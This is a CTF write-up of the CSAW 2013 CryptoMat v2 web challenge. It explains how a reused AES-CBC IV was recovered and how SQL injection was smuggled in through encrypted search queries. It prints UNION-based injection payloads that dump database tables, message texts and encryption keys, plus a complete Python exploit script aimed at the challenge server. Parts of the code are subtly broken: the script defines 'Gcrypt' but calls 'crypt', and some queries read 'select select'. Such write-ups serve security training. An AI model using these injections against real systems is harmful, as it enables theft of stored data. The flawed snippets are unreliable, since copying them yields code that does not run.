CSAW 2013 Quals - Web 400: CryptoMatv2

Published October 2, 2013

For this challenge, reyammer and I teamed up. Half of the credit belongs to him :)

The web400-2 challenge of this year’s CSAW qualification round was CryptoMat version 2, an homage to challenge of last year’s qualification round. There, the solution to the CryptoMat challenge was a XSS that you could leverage by sending a plaintext to Dog that would encrypt to an XSS. The bot simulating the Dog user would then execute that code and through a redirect you could leak the cookie, which, in turn, allows us to log in as Dog. This year, to prevent cross-site scripting attacks, the ciphertext was base64 encoded before inserting it into the website, thus, effectively, sanitizing it. In the end, part of the solution to this challenge were similar to last year’s challenge: the ciphertext was used as the attack vector.

First, after we found out that the challenge was a revamped version from last year, we read up on write-ups. Right after, we identified an XSS in the title of a message in the search functionality if the message was decrypted. As a shot in the dark without expecting much to happen, we send some messages to Dog. We figured out pretty quickly that read messages are being marked dark gray while unread message have a transparent (bright gray) background. After a few minutes, Dog still didn’t read the messages we send him, and we looked for alternative vulnerabilities.

Since the web service was using AES-CBC encryption, which depends on the initialization vector (IV), we asked us how Dog would decrypt a message without knowing the IV and we checked if the same IV is reused by simply encrypting the same text with the same key, if the ciphertext is the same, then the IV is the same and we can simple calculate the IV by decrypting the ciphertext with an IV of 0x00 and XORing it with the original plaintext. We quickly verified our hunch by simply encrypting the same message with the same key and comparing the ciphertext, the IV was indeed constant. We then simply derived the IV with the following Python snippet, where the encoded base64 string is simply what the web interface printed when we encrypted the plaintext abcdefgh01234567 with our key EpicPhailIsAMyth:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
# -*- coding: utf-8 -*-

__description__ = "derive the initialization vector"

from Crypto.Cipher import AES
from base64 import b64decode

KEY = "EpicPhailIsAMyth"

def xor(xs, ys):
    _ = lambda x, y: chr(ord(x) ^ ord(y))
    return "".join(_(x, y) for x, y in zip(xs, ys))


def decrypt(ciphertext, key=KEY, iv="\x00" * 16):
    crypt = AES.new(key, AES.MODE_CBC, iv)
    plaintext = crypt.decrypt(ciphertext)
    return plaintext

iv = xor("abcdefgh01234567", decrypt(b64decode("6dj+k2KNJ5BlTvRnrTIDdg==")))

This gave use the IV (hex encoded):

# initialization vector (hex encoded)
386b3246325153343830573939384e6d

Since we found an XSS in the search functionality, we decided to check for some other parameters and randomly entered xxx & xxx into the search query (somewhat hilariously, this is exactly the same dragonsector was using, according to their write-up). Instead of querying the database, those values yielded a MySQL error:

# MySQL error for key xxx and text xxx
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '!b;&ú½Q6*" ORDER BY id ASC LIMIT ?, 10' at line 1

Is the web app actually encrypting the message with the key and searching the database for the ciphertext? To verify this, we encrypted the message with the key locally and tried two different kind of paddings (PKCS-7 padding and zero-byte padding). Ultimately, we were able to reproduce the ciphertext with zero-byte padding.

Apparently, the search functionality works as follows:

  1. Take key and the query text
  2. Encrypt the text with the key (pad the key with zero bytes if necessary)
  3. Search the database for the ciphertext
  4. Return any title and text for messages that have been found

Now, we only needed to construct a ciphertext that was an SQL injection. That isn’t too hard: we just take our desired ciphertext and decrypt it with a key of our choice, the resulting plaintext, when encrypted with our key, produces the same ciphertext, thus the SQL injection. The only potential problem might be that key and message have to contain only printable characters, which we checked quickly by encrypting the following plaintext:

# test plaintext for unprintable characters (hex encoded, spaces for readability)
61 62 63 64 65 66 67 68 01 02 03 04 05 06 07 08 5a 59 58 57 56 55 54 53 11 12 13 14 15 16 17 18

This plaintext has some very nice properties and works in either case, without giving an error. In case that unprintable characters are okay, we will get back a 32-byte long ciphertext, otherwise we will get back a 16-byte one. Now, we can easily verify if unprintable characters are okay or not without having to take care of any padding. This is the case because both are aligned to the block-size of AES-CBC. Luckily for us, unprintable characters worked just fine as input for the plaintext and we didn’t need to verify that the same holds for the key, or even to brute-force the key so that the plaintext for our SQL injection ciphertext contains only printable characters. Instead, we could simply take our SQL injection, decrypt it and submit the plaintext to CryptoMat. During the competition, we actually did not realize that there is a page parameter that we could have utilized to set the offset of the MySQL query and we simply filtered out all of the tables that we didn’t want to care about. In the end, our query ended up pretty long because of this and the limit of 10 rows per query:

# SQL injection used to dump the tables
" union select table_name,0,0,0,0,0,0,0 from information_schema.tables  \
    where table_name not in ( \
        "INNODB_BUFFER_PAGE","GLOBAL_VARIABLES","FILES", \
        "GLOBAL_STATUS","COLUMN_PRIVILEGES","CHARACTER_SETS", \
        "COLLATIONS","COLLATION_CHARACTER_SET_APPLICABILITY", \
        "COLUMNS","ENGINES","EVENTS","INNODB_BUFFER_PAGE_LRU", \
        "INNODB_BUFFER_POOL_STATS","INNODB_CMP","INNODB_CMPMEM", \
        "PARTITIONS","PLUGINS","PARAMETERS","KEY_COLUMN_USAGE", \
        "INNODB_TRX","INNODB_LOCK_WAITS","INNODB_LOCKS", \
        "INNODB_CMP_RESET","INNODB_CMPMEM_RESET","STATISTICS", \
        "SESSION_VARIABLES","SESSION_STATUS","SCHEMA_PRIVILEGES", \
        "SCHEMATA","ROUTINES","REFERENTIAL_CONSTRAINTS","PROFILING", \
        "PROCESSLIST","VIEWS","USER_PRIVILEGES","TRIGGERS", \
        "TABLE_PRIVILEGES","TABLE_CONSTRAINTS","TABLESPACES", \
        "TABLES" \
    ) \
    union select *,0,0,0,0,0 from user where id ="

After filtering out all the uninteresting tables, only two tables remained: message and user. From here on, we can simply dump the column names per table, starting with message:

# SQL injection used to dump the columns
" union select column_name,0,0,0,0,0,0,0 from information_schema.columns where table_name = "message" union select *,0,0,0,0,0 from user where id ="

The most interesting three columns were: title, text, and key. We were quite stumped that the encryption key was stored in the database, so much for secure, but it made our work easier in the end. This year, we did not need to trace messages from Cat to Dog to get the key, instead, it was handed to us on a silver platter.

According to the challenge description, Dog was holding the key. Instead of filtering by user, we just made an educated guess that the message will be among the early ones and they are likely to have small id. We simply made use of the order by id our query already had to dump all messages. We used the following three queries to dump the interesting data:

# SQL injection used to look for titles
" union select title,0,0,0,0,0,0,0 from message where id = {} union select *,0,0,0,0,0 from user where id ="
# SQL injection used to dump the text (hex encoded since they might be unprintable)
" union select select hex(text),0,0,0,0,0,0,0 from message where id = {} union select *,0,0,0,0,0 from user where id ="
# SQL injection used to dump the keys (hex encoded since they might be unprintable)
" union select select hex(`key`),0,0,0,0,0,0,0 from message where id = {} union select *,0,0,0,0,0 from user where id ="

After decrypting the messages with the corresponding key, we retrieved the key:

# final key
KEY{HURR_HURR_CRYPTOC_IZ_FUN}

Similarly to our solution to WidgetCorp, during the competition, we utilized a mess of curl and Python to get everything working. Instead of exposing you to this chaotic mess, the following snippet is much easier to follow and more straight-forward:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/env python
# -*- coding: utf-8 -*-

__author__ = "cao; reyammer"
__description__ = "csaw2013q: web400-2/cryptomatv2"
__version__ = "1.0-cleanedup"


import requests as r
from Crypto.Cipher import AES

from re import findall
from base64 import b64decode


PHPSESSID = "3k8s4psgbc0fekr1761pjkk380"
URL = "http://128.238.66.225/search.php?"
KEY = "EpicPhailIsAMyth"


def pad(x, pad="\x00", to=16):
    while len(x) % to != 0:
        x += pad
    return x


def xor(xs, ys):
    _ = lambda x, y: chr(ord(x) ^ ord(y))
    return "".join(_(x, y) for x, y in zip(xs, ys))


def decrypt(ciphertext, key=KEY, iv="\x00" * 16):
    Gcrypt = AES.new(key, AES.MODE_CBC, iv)
    plaintext = crypt.decrypt(ciphertext)
    return plaintext


def inject(injection, iv="386b3246325153343830573939384e6d".decode("hex")):
    injection = ' " union {} union select *,0,0,0,0,0 from user where id ="'.format(injection)
    injection = pad(injection, " ")

    plaintext = decrypt(injection, iv=iv)

    cookie = {"PHPSESSID": PHPSESSID}
    params = {"key": KEY,
                "query": plaintext}
    header = {"User-Agent": "SECURE"}

    response = r.get(URL, cookies=cookie, params=params, headers=header)
    leaked = findall(r'download\.php\?id=([^"]+)', response.text)

    if not leaked:
        return response.text
    return leaked


# retrieve the IV from the message
iv = xor("abcdefgh01234567",
            decrypt(b64decode("6dj+k2KNJ5BlTvRnrTIDdg==")))

tables = inject('select table_name,0,0,0,0,0,0,0 from '
                'information_schema.tables where table_name not in ('
                '"INNODB_BUFFER_PAGE","GLOBAL_VARIABLES","FILES",'
                '"GLOBAL_STATUS","COLUMN_PRIVILEGES","CHARACTER_SETS",'
                '"COLLATIONS","COLLATION_CHARACTER_SET_APPLICABILITY",'
                '"COLUMNS","ENGINES","EVENTS","INNODB_BUFFER_PAGE_LRU",'
                '"INNODB_BUFFER_POOL_STATS","INNODB_CMP","INNODB_CMPMEM",'
                '"PARTITIONS","PLUGINS","PARAMETERS","KEY_COLUMN_USAGE",'
                '"INNODB_TRX","INNODB_LOCK_WAITS","INNODB_LOCKS",'
                '"INNODB_CMP_RESET","INNODB_CMPMEM_RESET","STATISTICS",'
                '"SESSION_VARIABLES","SESSION_STATUS","SCHEMA_PRIVILEGES",'
                '"SCHEMATA","ROUTINES","REFERENTIAL_CONSTRAINTS","PROFILING",'
                '"PROCESSLIST","VIEWS","USER_PRIVILEGES","TRIGGERS",'
                '"TABLE_PRIVILEGES","TABLE_CONSTRAINTS","TABLESPACES",'
                '"TABLES")')
print tables

for _id in range(1, 6):
    titles = inject('select title,0,0,0,0,0,0,0 from message where id = {}'
                    .format(_id))
    print _id, titles

for _id in range(1, 6):
    text = inject('select hex(text),0,0,0,0,0,0,0 from message where id = {}'
                    .format(_id))
    text = text[0].decode("hex")
    key = inject('select hex(`key`),0,0,0,0,0,0,0 from message where id = {}'
                    .format(_id))
    key = pad(key[0].decode("hex"))
    print _id, decrypt(text, key, iv)